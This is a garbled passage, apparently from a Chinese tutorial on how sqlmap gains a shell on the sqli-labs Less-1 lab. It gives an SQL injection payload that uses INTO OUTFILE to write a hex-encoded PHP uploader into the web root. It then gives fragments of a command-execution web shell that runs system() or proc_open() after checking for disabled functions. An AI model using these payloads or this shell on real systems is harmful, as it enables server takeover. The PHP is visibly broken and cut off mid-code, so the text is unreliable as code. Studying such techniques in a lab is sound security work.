-5906' OR 2054=2054 LIMIT 0,1 INTO OUTFILE 'C:/Users/zhang/Desktop/php/PHPTutorial/WWW/sqli-master/Less-1/tmpugvzq.php' LINES TERMINATED BY 0x3c3f7068700a...
tmpugvzq.php 代码：
php
sqlmap file uploader
to directory: ";
}
?>
4.
上传命令执行文件
通过 POST 方法上传 tmpbylqf.php，其内容为命令执行代码：
php
&1\n";
function f($n) {
global $z;
return is_callable($n) and !in_array($n, $z);
}
if (f("system")) {
ob_start();
system($c);
$w = ob_get_clean();
} elseif (f("proc_open")) {
$y = proc_open($c, [
[pipe, r],
[pipe, w],
[pipe, w]
], $t);